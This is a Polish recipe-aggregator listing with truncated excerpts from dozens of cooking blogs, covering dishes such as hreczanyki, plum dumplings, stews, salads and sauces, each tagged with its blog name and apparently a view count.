Dodać umyte i pokrojone w kawałki pieczarki. Całość poddusić i kiedy bób będzie miękki- dołożyć do całości. Wymieszać, gotować na małym ogniu. Dosmaczyć solą i pieprzem, oliwą. Dodać butelkę sosu pomidorowego. Gotować .Wszystko ma sobą przejść, zupa ma zgęstnieć. Wyłączyć gaz, poczekać aż wystygnie nieznacznie. I podawać z czerwonym winem, grzankami ,a kto lubi niech przegryza również zieloną oliwką. Smacznego

Z Kuchni Do Kuchni
Szarlotka sypana (kukurydziana) 156

jabłka, wysypuję resztę suchych składników i całość przykrywam równomiernie resztą masła. Ciasto piekę w piekarniku nagrzanym do 165 stopni przez 1 godzinę. Po upieczeniu studzę. Podaję z lodami lub sosem malinowym. Smacznego, Klaudia

Mango Papaja
Hreczanyki – kresowe kotlety z kaszy gryczanej i mięsa 170

przede wszystkim czosnek, który idealnie pasuje do takiego połączenia składników. Hreczanyki są proste, a zarazem wykwintne. Warto je wprowadzić na stałe do swojego menu :) Hreczanyki tradycyjnie podawano z sosem śmietanowym z czosnkiem, doprawionym solą i pieprzem. Nazwa kotletów pochodzi od słowa gryka, inaczej hreczka. Na Lubelszczyźnie w podobny sposób przyrządza się hreczniaki, z tym że zamiast mięsa do kaszy dodaje

Trzeci talerz
Klasyczne knedle ze śliwkami. 202

ciasto skrywające słodką, soczystą śliwkę? Dla mnie koniecznie skąpane w kwaśnej śmietanie, posypane cukrem i cynamonem, lecz równie smaczne będą podane z roztopionym masłem, czy z przyrumienioną bułką tartą, sosem śliwkowym lub posypane słodkim kakao. Możliwości jest wiele, choć najważniejsze jest ciasto. Przepis, który mam dla Was jest ze mną odkąd pamiętam i muszę przyznać, że jeszcze nigdy nie zawiódł

Rozpustne gotowanie
Dorota, Karol i goście: Anna Mucha – owoce, konfitury, dżemy (odc. 5) 222

pieprzu. Gotujemy na wolnym ogniu aż do zgęstnienia syropu. Dodajemy cząstki ananasa i dusimy wszystkie składniki kilka minut. Gorący chutney przekładamy do wyparzonych, suchych słoiczków i zalewamy resztą syropu. Sos możemy podawać zarówno na ciepło, jak i na zimno. Źródło: http://kuchnialidla.pl/dorota-karol/owoce/przepisy/dorota-wellman-chutney-z-ananasa   Karol Okrasa: Konfitura z pomidorów curry Czas przygotowania: 2h Pozom trudności: łatwe Konfitura z pomidorów curry

WojnaNaSmaki.pl
Eskalopki ze schabem i suszonymi śliwkami 223

rozmąconym jajkiem, a następnie piekłem je w piekarniku rozgrzanym do 180 stopni z włączonym termoobiegiem przez 20 minut. Na talerze wyłożyłem sałatę i pokrojone w połówki pomidorki koktajlowe. Przygotowałem sos do sałaty mieszając 2 łyżki musztardy francuskiej, 2 łyżki miodu, 2 łyżki oliwy, sok z cytryny oraz niewielką ilość soli i czarnego świeżo zmielonego pieprzu, a następnie skropiłem nim sałatę

Wyprawy kulinarne
smaczny obiad na szybko jajeczno-grzybowy... 159

dodać natkę pietruszki na maśle zrumienić pokrojony w kostkę boczek wędzony, na boczek rozbić jajka i smażyć sadzone, do smaku posypać pieprzem jajka podać na ziemniakach ugotowanych w mundurkach, sosem grzybowym - danie jest syte, smaczne...............SMACZNEGO

W Mojej Kuchni Lubię
Zapiekane pomidory faszerowane kaszą owsianą 158

około pół godziny. Pomidory powinny zapiec się, aż skórka zacznie z nich odchodzić. Takie pomidory sprawdzają się jako danie obiadowe. Można podawać je z chrupiąca bułką, z dodatkiem pikantnego sosu jogurtowego. Można też podać je na zimno, jako przystawkę.  Zapiekacie faszerowane pomidory

Codzienna kuchnia niecodzienna
Kasza jaglana z kurczakiem i pieczarkami 182

Cebulkę pokrój drobno, podsmaż na oliwie. Pokrój w malutkie kawałki kurczaka, dodaj do cebulki. Podsmaż. Potem pokrój pieczarki w plasterki i dodaj do całości. Posól i dosmacz pieprzem. Dodaj sosu pomidorowego. Wymieszaj. Do całości dodaj kaszę jaglaną. Przełóż go miski i wymieszaj z parmezanem. Formuj kulki. Podawaj z ćwikłą. Zdrowo, aromatycznie, dość szybko! Smacznego

Z Kuchni Do Kuchni
piersi z grilla z prawdziwkami na obiad... 254

czarny mielony 1/2 łyżeczki, przyprawa curry Royal Brand 1 łyżeczka, sól morska - do smaku, przyprawa do zup i potraw w płynie 1/2 łyżeczki, ziemniaki gotowane w mundurkach 8 sztuk SOS: prawdziwki 3/4 kg, cebula 1 sztuka, pieprz czarny mielony 1/2 łyżeczki, kucharek 1/2 łyżeczki, masło 1 łyżka, śmietana gęsta 3/4 szklanki, natka pietruszki 1/2 pęczka pierś podzielić na 2 porcje

W Mojej Kuchni Lubię
Placki z dyni 227

patelnię to możemy ładnie uformować. Na patelni rozgrzewamy olej i smażymy placuszki. Najlepiej jeść świeże placuszki bo są pysznie chrupiące. Placuszki możemy podać ze śmietaną lub ulubionym sosem. Smacznego

Kuchenne Wariacje
Nuggetsy warzywne z dyni bezglutenowe 285

pozostałe składniki.  Wyrabiamy krótko masę. Formujemy nuggetsy, obtaczamy w kaszce kukurydzianej, układamy na papier do pieczenia. Pieczemy w 190 stopniach ok 25 minut. Do maczania w sosach ulubionych

AZgotuj!
Sałatka z marynowanych warzyw i fety i ziół 205

PLASTERKI(ZALEŻY JAKIE DUŻE),CZOSNEK  I OLIWKI KROIMY NA PÓŁ,PAPRYKĘ I FETĘ W KOSTKĘ ,DOPRAWIAMY ZIOŁAMI,JA DAŁAM JESZCZE KILKA KROPLI MAGGI I BARDZO FAJNIE PASOWAŁO-SOSU JUŻ ŻADNEGO NIE TRZEBA BO FETA SIĘ FAJNIE ROZPADNIE I POŁACZY WSZYSTKO-SMACZNEGO

Swojskie jedzonko
Sałatka brokułowa z fasolką szparagową i kurczakiem 315

ugotować. Następnie wystudzić i pokroić w kostkę. 5. Wszystko wymieszać, dodać siekaną zieloną cebulkę. Majonez wymieszać z jogurtem naturalnym, zmiażdżonymi ząbkami czosnku, odrobiną soli i szczyptą cukru i pieprzu. Sos Wlać do sałatki i całość zamieszać. Schłodzić przed podaniem. Smacznego

Kuchnia domowa Ani
Roladki z cukinii w sosie winegret 226

octem, musztardą, miodem, solą, pieprzem i pozostałym olejem. Odkroiłem nasady ogonków pomidorów, sparzyłem wrzątkiem, obrałem ze skóry, przekroiłem na pół, usunąłem pestki, miąższ pokroiłem w drobniutką kostkę. Roladki polałem sosem, posypałem kostkami pomidorów, przez godzinę marynowałem pod przykryciem

R'n'G Kitchen
Bezpieczne i niepożądane barwniki w żywności - ściąga do wydrukowania 240

niebezpieczne.   Barwniki oprócz oczywistych produktów, jak galaretki owocowe, soki, żelki czy napoje gazowane, możemy znaleźć także w innych, mniej oczywistych produktach jak: musztardy ketchupy zupki instant gotowe sosy dżemy kawior cukierki na kaszel miód sztuczny alkohole - wina, likiery Jak widzicie, trzeba mieć się na baczności i czytać etykietę każdego produktu, który wkładamy do koszyka. Dlatego właśnie przygotowałam

Powiedz dietom nie
Pulpety z indyka w sosie pieczarkowym 152

Dzień dobry! Mimo iż lubimy poznawać nowe smaki i wymyślne dania, to czasem nachodzi nas ochota na prostą, domową kuchnię. I takie też są pulpety w sosie pieczarkowym. Proste, smaczne, sycące i szybkie w przygotowaniu :-). Czytaj więcej » Ten i więcej przepisów znajdziesz na blogu kulinarnym www.poracoszjesc.pl

Pora coś zjeść
soczysty pieczony schab 175

podczas pieczenia. Umożliwia on pieczeni, wchłonięcie z powrotem soków, które z niej wypłynęły w trakcie pieczenia. Teraz możemy wyjąć pieczeń z piekarnika i podać ją na gorąco, podlewając porcje sosem z pieczenia, lub na zimno

Miód i pieprz
Roladki z cukinii z serkiem ricotta, suszonym pomidorem, prażonymi orzechami laskowymi z nutą skórki z cytryny 215

łyżeczkę serka z 1/2 pomidorka suszonego. Zawijamy.Wiążemy szczypiorkiem. 6. Na każdą roladkę dodajemy orzechy i trochę skórki z cytryny oraz listek bazylii. 7. Świetnie pasuje do naszego dania sos z pomidorów. Smacznego! Zapraszamy do komentowania i podrzucania propozycji na dalsze przepisy

Gotowanie, czyli hobby dla każdego
Makaron z dynią, mięsem mielonym i szpinakiem 214

koncentrat pomidorowy. Doprawiamy do smaku solą, pieprzem. słodką papryką i oregano. Całość  gotujemy na małym ogniu jeszcze ok. 5 minut. Makaron gotujemy według przepisu na opakowaniu. Polewamy gorącym sosem. Ilość porcji: 4 Koszt wykonania:  ok. 18 zł Czas wykonania: 45 min. Źródło: przepis własny Przepis dodaję do akcji

Pobite gary Barbary
Szybka ale zdrowa chińszczyzna. 234

także doprawić do smaku kminem i imbirem. Ps. Jeżeli na patelni zostało trochę tłuszczu, można dolać do niego szklankę bulionu, doprawić w/w przyprawami i zaklepać mąką. Polać tak przygotowanym sosem ryż. Smacznego! Pozdrawiam, Kasia

Poezja Smaków - blog kulinarny
Aromatyczne curry z orzechami nerkowca i ciecierzycą 194

które determinują smak tej potrawy, tymczasem w kuchni indyjskiej pod tym pojęciem kryje się coś więcej – jest to określony sposób przygotowania uwzględniający przy tym wszystkie główne składniki zanurzone w sosie.  Istnieje ogromna różnorodność curry, a poniższa wersja, znaleziona w jednej z wegańskich książek kucharskich i nieco przeze mnie zmodyfikowana, jest bardzo aromatyczna i pożywna.  Składniki: 150 g batatów

Roślinna - blog wegański
Pierś kurczaka z sosem pieczarkowym 321

czasie w osobnej misce rozrobić mąkę i dodać śmietanę. Dodać do pieczarek cały czas mieszając. 4. Na koniec doprawić solą i pieprzem oraz dodać koperek. 5. Usmażone piersi polać sosem tuż przed podaniem

A Ty Smakuj Mnie
Kaszka z płatków kaszy jaglanej z marchewką 185

długo, aż zaczną puszczać sok. Dodaj odrobinę cynamonu, syropu klonowego i skarmelizuj jabłka. Upraż laskowe orzechy na suchej patelni, posiekaj grubo. Podaj kaszkę z orzechami, skarmelizowanymi jabłkami i sosem z jabłek

codojedzenia
Pieczony królik 2. 210

surówką z marchwi, gotowaną marchewką, całymi pieczarkami itp. Można też ułożyć królika na sałacie z osłodzonym jogurtem naturalnym. Najlepsza będzie tu sałata typu lodowa lub zimowa. ----------- Podobne: Królik z sosem z całych pieczarek Królik z marchewką Pieczony królik

Weekendy w domu i ogrodzie
Placki z dyni i batatów . 288

dynię więc dzisiaj zapraszam na placuszki dyniowo - batatowe , jeśli nie macie batatów to oczywiście możecie użyć zwykłych ziemniaków . Pyszne , chrupiące w sam raz na obiad , do tego dowolny sos lub jogurt naturalny . Do smażenia użyłam Oleju kokosowego Olejowy

Sama słodycz i szczypta chili
Para do Sherry - Wystawa win hiszpańskich 160

sherry do wątróbki smażonej z cebulą, do pâté z wątróbki , pasztetów drobiowych, szczególnie z kaczki czy gęsi , galantyn drobiowych . Będzie również wspaniałym składnikiem marynat do mięs lub dodatkiem do sosów, do wieprzowiny i wołowiny. Schłodzone fino będzie idealne jako aperitif lub do hiszpańskich tapas ale i do dań z ryb , małży, homarów, krewetek. Manzanilla za to do grillowanych lub pieczonych

królestwo garów
Dietetyczny obiad jednogarnkowy, duszony 194

pieczarkami. Podlać rosołkiem, lub wywarem warzywnym..albo po prostu wodą. Dołożyć papryki i bazylii. Zamknąć, dusić. Podawać ciepłą na zdrowie! U mnie dodatkowo kulka mięsa mielonego i duszonego w sosie pomidorowym

Z Kuchni Do Kuchni
Czebureki z pieczarkami 293

Czebureki to tradycyjne danie regionalne Tatarów krymskich. Pierogi z pysznym farszem smażonego na głębokim tłuszczu. Podajemy z barszczem albo sosem pomidorowym czy czosnkowym. Składniki: 2,5 szklanki mąki 250 g twarogu 2 jajka łyżka oleju łyżka spirytusu lub octu pół łyżeczki soliFarsz: ok. 450 g pieczarek 2 cebule sól, pieprz olej do smażenia Przygotowanie Ser ucieramy z jajkami, octem

e-PrzepisyKulinarne
Kotlety ziemniaczane 278

smaczne. Do tego tanie i łatwe w wykonaniu. A mogę jeszcze śmiało napisać, że szybkie o ile zostały Wam ziemniaki z dnia poprzedniego. Można podawać je z surówką, mięsem, sosem lub jeść je zapieczone z serem i podane z ketchupem - do wyboru do koloru. Można je również smażyć, tak jak ja, w panierce lub bez. Wypróbujcie - nie będziecie żałować

CookYourself
Mini Serniczki z Masłem Orzechowym i Czekoladą 184

jest, że lubimy sobie wzajemnie sprawiać przyjemność. Kawa z rana, kanapki na kolację z zaskoczenia, ostatnio wróciłam z pracy, a na mnie czekał świeżo ugotowany makaron i podgrzewający się sos w rondelku, poszłam umyć ręce, a po wyjściu z łazienki czekał już na mnie talerz spaghetti, kurcze to takie miłe. Ja za to na drugi dzień pod nieobecność syna upiekłam

Blondynka Gotuje
Pulpety z indyka z marchewką 168

Składniki: 500 g mięsa mielonego z indyka 2 marchewki 1 cebula 1 jajko 3 łyżki kaszy manny mąka pszenna  papryka słodka, vegeta sól, pieprz sos: 1 cebula 2 łyżki oliwy puszka pomidorów 2 łyżki koncentratu pomidorowego sól, pieprz, ew. vegeta Wykonanie: Cebulę pokroić na drobną kosteczkę, zeszklić w rondlu na oliwie. Dodajemy pomidory, dolewamy szklankę wody, przyprawiamy. Gotujemy

magiczna kuchnia Kasi
Kalafior w masełku i bułce tartej 211

Dodać sól gotować aż będzie miękki Ale żeby się nie rozpadał 2. • Masło rozpuścić w rondelku Podsmażyć aż lekko zbrązowieje  Dodać bułkę tartą chwilę przesmażyć Oblać powstałym sosem kalafior. Posypać delikatnie pieprzem

W królestwie smaków Beaty
1. Zabawa w ciepło-zimno: czyli owsianka dla niezdecydowanych ★ 196

/jaglanych/gryczanych etc.) - 1/2 łyżeczki cynamonu - szczypta kurkumy - 5 goździków - miód (ilość według uznania) - 1/2 szkl. mleka (preferuję roślinne, lecz krowie także się nada) - 1/2 łyżeczki ekstraktu z wanilii/aromatu waniliowego Sos: - szkl. mrożonych truskawek (dziękuję mamo, za cały zapas w zamrażarce!) - łyżka jagód - 2 tabletki stewii (lub innego słodzidła, tylko nie miodu!) WIECZOREM: 1. Szklankę zamrożonych truskawek wstawiamy

Pland based fille
2. Żółty biszkopt (prawie)idealny: czyli walka z lenistwem w kuchni ★ 263

Ciasto: - 1 szklanka mąki kukurydzianej - 2 łyżki skrobi ziemniaczanej - 4 duże jajka - 1/2 szklanki stewii (robiąc ciasto dla rodziny zamieniam stewie na cukier lub miód lub wymyślam jakiś słodki sos, ewentualnie posypuję gotowe ciasto cukrem pudrem) - dowolne owoce (tutaj inwencja twórcza! Mogą to być owoce suszone, jagodowe, banany, jabłka...) - łyżeczka proszku do pieczenia Wykonanie: 1. Nagrzewamy piekarnik do 180 stopni

Pland based fille
gulasz z indyka z kurkumą na ostro... 174

podsmażyć mięso z cebulą, dolać wody i dusić pod przykryciem na mniejszym ogniu do miękkości mięsa, śmietanę i wodę wymieszać ze śmietaną i wlać do gulaszu mieszając do zagęstnienia sosu, wsypać posiekany koperek - smaczny, syty gulasz, podawać z czym się lubi....................SMACZNEGO

W Mojej Kuchni Lubię
Łosoś z frytkami z batatów 287

ostatnie 10 minut pieczenia batatów (po 20 minutach) układamy na frytkach rybę. Pieczemy 10 minut. Od razu podajemy. Łosoś z frytkami z batatów może być podawany sam lub z sosem jogurtowym. Post Łosoś z frytkami z batatów pochodzi z bloga Poezja smaku

Poezja smaku
Wieprzowina w sosie śliwkowym 150

jesień przejdzie w tą nieprzyjemną, chłodną, mokrą i mglistą, a wtedy jak znalazł będą gorące, rozgrzewające dania. Dzisiaj mam dla Was właśnie taką propozycję obiadową. Lekko orientalny i pikantny sos z wieprzowiny i śliwek, niebo w gębie! Czytaj więcej » Ten i więcej przepisów znajdziesz na blogu kulinarnym www.poracoszjesc.pl

Pora coś zjeść
Marchewka na gazie-Carota su gas 187

ponownie wstawiamy na mały ogień i wsypujemy stopniowo kaszkę manną. Cały czas mieszając masę. Zaczyna ona szybko gęstnieć. Kaszy wsypujemy tyle, żeby masa przypominała bardzo gęsty sos. Do masy dodajemy dużą garść rodzynek i migdałów. Mieszamy ją i wylewamy ciasto do okrągłej formy wyłożonej papierem do wypieków. Posypujemy ją kakao przesianym przez sitko. Odkładamy ciasto

w mojej kuchni
SCHAB DUSZONY Z KURKAMI W SOSIE ŚMIETANOWYM 207

Szybkie, proste i smaczne.  Klasyczny schab z dodatkiem kurek w śmietanowym sosie.  Jego przyrządzenie zajmie nam 30-40 minut.  Jeśli nie mamy kurek, możemy je oczywiście zastąpić pieczarkami, suszonymi grzybami, albo zwyczajnie pominąć.  Danie wyjdzie równie smaczne.  Składniki: 600 g schabu 250 g kurek 1 cebula 1 łyżka masła oliwa (olej) śmietana 18% sól pieprz

Walijskie Pichcenie
HARYNKI W CEBULOWEJ ZOŁZIE (2 wersje) 774

Harynki w cebulowej zołzie to kawałki słonego śledzia pod pierzynką cebulowego sosu z  dodatkiem śmietany. Są potrawą postną i tanią. Tradycja mówi, że harynki były najtańszą i  codzienną potrawą spożywaną przez ubogich robotników sezonowych, których zarobki były tak niskie, że czasami mawiano: „Nie zarobis na słónego harynka!”. Po II wojnie światowej czasami jeden śledź musiał

Bon Appetit Małgorzaty
Najlepsze Śniadanie SZAKSZUKA (SHAKSHOUKA) Jajka w Pomidorach 492

poszatkowany czosnek i pomidory (razem z sokiem, który z nich wyciekł lub z puszki).  Dosyp przyprawy, zamieszaj i smaż całość około 3-5 minut.   Do powstałego sosu wbij po jajku, posól i popieprz je. Przykryj patelnię pokrywką i duś całość aż białko jajek się zetnie, a żółtko pozostanie płynne (jeśli wolisz ścięte żółtko, duś jajka dłużej). Gotowe danie

Słodko-Słony Świat Ilony
Mięso mielone w cieście francuskim 469

posypać serem żółtym. Boki ciasta francuskiego ponacinać i na zmianę przeplatać. Posmarować roztrzepanym jajkiem oraz posypać majerankiem. Piec w rozgrzanym piekarniku do 200stopni C i piec ok.30minut. Przygotować sos majonezowo czosnkowy: wymieszać śmietanę, majonez, ketchup z wyciśniętymi ząbkami czosnku. Smacznego

W kuchni u Moniki
Gołąbki z sarny z kaszą owsianą 190

nich zwinięte gołąbki. Przykryć pozostałymi liści. Włożyć pieprz, ziele, listek laurowy, rozmaryn, wlać 200 ml wody, przykryć. Wstawić do piekarnika nagrzanego do 180 stopni na godzinę. Podałam z sosem z prawdziwków. *może być kapusta włoska zastawa

królestwo garów
Leśna karkówka z suszonymi pomidorami 196

się moczyły. Dodaj emy rozmaryn i pokrojone w cienkie paski pomidory. Gotujemy jeszcze ok. 5 minut. Dodajemy śmietanę i zagęszczamy łyżką mąki. Doprawiamy do smaku solą i pieprzem. Gorącym sosem polewamy mięso wyciągnięte z piekarnika. Danie najlepiej smakuje z kaszą gryczaną. Ilość porcji: 4 Koszt wykonania:  ok. 15 zł Czas wykonania: 1h źródło: przepis własny Przepis dodaję do akcji

Pobite gary Barbary
Schab po francusku z serkiem mascarpone i musztardą 258

Kolejna pyszna odsłona schabu - tym razem w delikatnym i kremowym, aczkolwiek wyrazistym w smaku sosie z serka mascarpone i musztardy. Aż żałuję, że wcześniej nie robiłam w ten sposób mięsa bo jest prosto i na prawdę pysznie! SKŁADNIKI:   6-7 plastrów schabu 1/2 szkl bulionu 250g mascarpone   4 łyżki musztardy francuskiej (ziarnistej) 4 łyżki ostrej musztardy

Kto ugości moich gości?
Wieprzowina z brokulami 208

lubicie kuchnię chińską? Jeśli tak to to danie jest idealne dla was. Co prawda lepiej byłoby użyć tutaj wołowiny, ale z wieprzowina też daje rade. Szybko smażone mięso, pyszny sos i brokuły to 3 składniki z których powstanie nasz chiński, ekspresowy obiad. Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Szaszłyk w koszulce 380

rozcięte na pół szaszłyki zapiekamy około 20 minut, przed samym podaniem. Ja zrobiłam je sobie dzień wcześniej, żebym zbyt dużo robić w niedzielę nie musiała ;) Można podawać z domowym sosem czosnkowym i frytkami. Pycha

Lawendowe Niebo
Ciasto z jabłkami 193

posmakuje każdemu, kto lubi jabłeczniki/szarlotki. Ciasto bardzo smaczne, puszyste i lekko wilgotne :) Jeżeli macie ochotę na inne słodkości z użyciem jabłek to zachęcam do przygotowania tarty w sosie śmietanowym lub babki .   Składniki na blachę 25 x 25 cm: co najmniej 1 kg jabłek (waga przed obraniem) 5 dużych jajek 1 szklanka mąki pszennej tortowej 1 szklanka mąki

Ugotować
Leśny gulasz z jelenia 196

łodygi tymianku. Ponownie doprowadzamy do wrzenia, zmniejszamy ogień i dusimy pod przykryciem przez 90 minut. Po tym czasie zdejmujemy pokrywkę, podkręcamy ogień i gotujemy jeszcze 10-15 minut, aż sos zredukuje się trochę i zgęstnieje. Doprawiamy solą, pieprzem i łyżeczką miodu (nie doprawiamy solą przed redukcją, bo bardzo łatwo przesolić!). 4. Gulasz podajemy z pyzami lub kluskami śląskimi i ogórkiem

My Culinary Art
Sos grzybowy z kawałkami kurczaka 164

dlatego dzisiejszy sobotni poranek zaplanowaliśmy na wyprawę do lasu. No cóż, muszę przyznać ,że nie zaspokoiłam swoich pasji zbieracza. Kilka podgrzybków i na tym koniec. Dobrze ,że wystarczyło na sos. Sosik ze świeżych grzybków w śmietanie, to zrekompensowało niedosyt zbierania. SKŁADNIKI: kilka podgrzybków ( u mnie 5-6 ) 2 małe cebule 2 łyżki margaryny lub masła klarowanego 1/2 piersi z kurczaka

W kuchennym oknie Ewy
Pasta paprykowa z dodatkiem chilli - wiem, co jem. 210

takiego smarowidła. Ponieważ czas przetworów aktywny , więc każdy nawet w pracy czym się dzieli. Stąd mój przepis. Wypróbowany przez znajomą, a teraz już przeze mnie. Pasta doskonała do pizzy, sosów i zwyczajnie na kanapkę. Przepis odrobinę zmodyfikowany, ponieważ robiłam z połowy porcji, a przy okazji coś trochę pokombinowałam po swojemu. Polecam. SKŁADNIKI: 1.5 kg. papryki czerwonej 1 cebula

W kuchennym oknie Ewy
Cygański kociołek na bazie cukinii, z kiełbasą i pieczarkami. 208

najbardziej miękkie w skórce i w smaku takie jak zielone. Z udziałem cukinii był przepis na leczo , na smażone kwiaty cukinii , na pasztet i dżem cytrynowy a także na sos konserwowy . Dziś dla odmiany prezentuję Wam przepis na Cygański Kociołek, który bazuje także na kabaczkach. Stwierdzam, że jest to ulepszona wersja lecza z cukinią, bogatsza o kilka składników - jednak

Poezja Smaków - blog kulinarny
Musztardowe kluski z dziurką. 168

Kluski prawie jak śląskie ale z dodatkiem musztardy. Fajnie smakują okraszone cebulką ale tez można podawać z sosami - jednak one nieco zabijają smak musztardy.   Składniki 10 dag wędzonego boczku 1 cebula 0,5 kg, ziemniaków 20 dag maki 10 dag kaszy manny 1 jajko 3 łyżki musztardy 1 łyżka smalcu gęsiego sól i pieprz     Ziemniaki umyć

Radość kipiąca uśmiechem.
Comber z jelenia duszony 414

tłuszcz, wlać wino, zagotować. Włożyć mięso, dodać rozgnieciony jałowiec i dusić pod przykryciem około 10-15 minut. Wewnątrz mięso powinno osiągnąć temperaturę 62 stopni. Wyjąć mięso, okryć folią aluminiową. Sos z duszenia przecedzić, zagotować, dodać kawałki zimnego masła, wymieszać. Zdjąć z ognia. Na patelni rozpuścić cukier, dodać żurawinę, mieszając smażyć. Dodać masło i smażyć aż żurawina będzie miękka. Pigwę obrać

królestwo garów
Zrób to sam. Cebulka prażona. Cebulowa posypka i przyprawa do potraw 1501

talerzu albo przygotowane w domu hamburgery. Można jej użyć do wzbogacenia smaku kotletów warzywnych np. ziemniaczanych czy dodać do ciasta chlebowego . Doskonale nadaje się do doprawiania dań duszonych, sosów a nawet do sałatek czy kanapek. Ma ciekawy smak a do tego jako posypka dodaje potrawie chrupkości. Ja staram się mieć ją zawsze w słoiku w szafce z przyprawami

Smaczna Pyza
Jarmuż i topinambur z patelni 176

dużo opowiadać? jarmuż jedno z najzdrowszych warzyw na świecie, topinambur to bulwa pełna witamin a razem stworzyły idealne danie. Warzywa chrupiące i delikatne zarazem w lekkim sosie. Polecam serdecznie. Jarmuż i topinambur z patelni. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
ROLADKI Z PIERSI KURCZAKA ZE SZPINAKIEM 276

szpinakowy. Zwijamy w roladki,spinamy wykałaczkami.Panierujemy w rozkłóconym jajku i bułce tartej,smażymy na głebokim oleju na rumiano z obu stron.Podajemy z ziemniaczkami i sałatą lodową z włoskim sosem

Z Majeczką w kuchni
Bruschetta po polsku, czyli schabowy w sałatce na grzance podany. 240

piekarniku. Rozbitego kotleta ze schabu środkowego przyprawionego jak na grilla - grillujemy na patelni posmarowanej oliwą. Dosłownie kilka minut z każdej strony wystarczy. Sałatkę kilka minut przed podaniem doprawiamy sosem. Zgrillowane mięso kroimy w paski i wrzucamy do sałaty. Nakładamy na ciepłe grzanki. Gotowe. Można się zajadać bez końca. Można po swojemu modyfikować składniki. Sama idea włoskiej bruschetty jest cudowna

Kuchnia po mojemu
Kotleciki z makaronu ze szczypiorkiem 318

połączenia składników . Teraz nabieramy łyżką naszą kleistą masę i obtaczamy w bułce tartej formując kulki . Smażymy na rozgrzanym oleju na złoty kolor . Podajemy od razu , najlepiej z jakimś jogurtowym sosem lub serowym dipem " class="wp-smiley" style="height: 1em; max-height: 1em;" /> Smacznego Post Kotleciki z makaronu ze szczypiorkiem pojawił się poraz pierwszy w Ogrodnik w podróży

Ogrodnik w podróży
Placuszki na maślance (bliny kurpiowskie) 1897

Bardzo delikatne placuszki, tanie i proste w przygotowaniu. Świetna propozycja na śniadanie lub podwieczorek dla dzieci i dorosłych. Możemy je podać posypane cukrem pudrem,  z owocami, słodkimi sosami bądź dżemem. Składniki: 2 szklanki mąki pszennej, 1, 5 szklanki maślanki, 2 jaja, 2 łyżki cukru, Płaska łyżeczka proszku do pieczenia, łyżka cukru waniliowego, szczypta soli, olej do smażenia Sposób przygotowania

Nie tylko w kuchni
Zapiekanka ziemniaczana z burakami 340

obieramy i kroimy w plasterki, tak samo robimy z burakami. Śmietanę mieszamy z jajkami i przyprawami. W naczyniu do zapiekania układamy warstwami: 1/2 ziemniaków 1/2 cebuli 1/2 buraków 1/2 sosu śmietanowego Czynność powtarzamy z drugą połową składników. Wierzch posypujemy żółtym serem. Całość zapiekamy w piekarniku przez około 25 minut w temp 180C

e-PrzepisyKulinarne
Bliny ziemniaczane z gulaszem grzybowo - warzywnym 205

Pomidory zaparzamy wrzącą wodą i ściągami z nich skórki. Na rozgrzanej patelni z olejem smażymy posiekany czosnek z cebulą, dodajemy pomidory i smażymy na średnim ogniu, aż powstanie konsystencja sosy, następnie dodajemy pokrojoną w kostkę cukinię, paprykę i grzyby. Wszystko razem dusimy i doprawiamy do smaku.  Smacznego

Niezły Młynek
Deser ryżowy ze śliwkami 212

pociąć na ćwiartki.  W garnku roztopić masło. Dodać miód, wymieszać i dorzucić śliwki. Smażyć je na małym ogniu aż zmiękną (ale się nie rozpadną), a powstały na dnie sos zgęstnieje. Na koniec dodać cynamon. W pucharkach układać warstwowo ryż, a na to następnie porcję śliwek. Smacznego, Anulla

Fabryka pomysłów
Aromatyczny gulasz . 199

Podlewamy resztą bulionu i przyprawiamy jeszcze d smaku solą lub pieprzem jak lubicie. Dusimy aż mięso będzie miękkie . W około 1 szklanki wody rozpuszczamy łyżkę maki ziemniaczanej i podbijamy sos. Jeśli podczas duszenia mięsa za szybko odparuje Wam bulion a mięso będzie jeszcze twarde możecie podlać wodą. Podajemy z ryżem , bułką , kaszą lub ziemniakami. Smacznego

Sama słodycz i szczypta chili
Lekki makaron z kurczakiem i cukinią 268

Czasem mam ochotę na trochę lżejsze sosy, mocno warzywne i świeże. Dlatego postanowiłam przygotować lekki makaron z kurczakiem i cukinią. Filet gotowany na parze i warzywa z ogródka – pycha.   Składniki: 1 filet z kurczaka 4 pomidory świeże lub 1 puszka pomidorów krojonych 1 mała czerwona papryka 50 ml białego wina wytrawnego 1 cebula 1 mała żółta cukinia sól

Pasja Smaku
Śledzie po kaszubsku. 186

papryka zmięknie.Na koniec dodajemy pokrojone w kostkę ogórki, przyprawiamy do smaku i jeszcze chwilę dusimy. Układamy w słoiku lub w innym naczyniu ; warstwę śledzi, następnie sos cebulowo paprykowy i znów śledzi itd. do wyczerpania składników.. Wkładamy na noc do lodówki.   Smacznego

Radość kipiąca uśmiechem.
Mąka kokosowa - do czego używać, czym sie wyróżnia i ile kosztuje? 219

Mąka kokosowa ma łagodny zapach i lekką konsystencję - nadaje się do ciast, ciasteczek, naleśników, placków, muffinek, chlebów czy innych wypieków, raczej na słodko. Można jej także używać do zagęszczania sosów, koktajli czy zup lub w formie panierki.   Czym się wyróżnia? Charakteryzuje się bardzo wysoką zawartością błonnika - 100 g to aż 39 g błonnika! Dla porównania 100 g mąki pszennej

Powiedz dietom nie
Jesienne przepisy! 198

Bardzo łatwa w wykonaniu a wykwintna w smaku! Gorąco Wam polecam! Coś na obiad, rozgrzewa i syci! A do tego zdrowe! ;-) Na obiad, lunch czy kolację, rustykalna tarta z sosem pesto- rukola. Pyszna i nietuzinkowa! KLIKNIJ W ZDJĘCIE PONIŻEJ ABY PRZEJŚĆ DO PRZEPISU Coś słodkiego z gruszką? Obowiązkowe ciasto w październiku! Coś do pochrupania! Smacznego! Zapraszam na Facebooka Smykwkuchni

SMYKWKUCHNI
Łosoś z bazylią 226

inne dodatki będzie to już rewelacyjny smak. Wcześniej pokazałam Wam jak można podać łososia ze szpinakiem i pieczarkami (przepis) . Jeśli nie jesteście miłośnikami zielonych liści :) to polecam łososia z sosem serowo - koperkowym (przepis) Składniki 4 kawałki łososia 1 garść liści bazylii 1 ząbek czosnku 1 łyżka masła klarowanego sól pieprz Patelnię grillową mocno rozgrzać. Łososia oprószyć solą  i pieprzem

O kuchni z uczuciem
Świeże figi z gorgonzolą 208

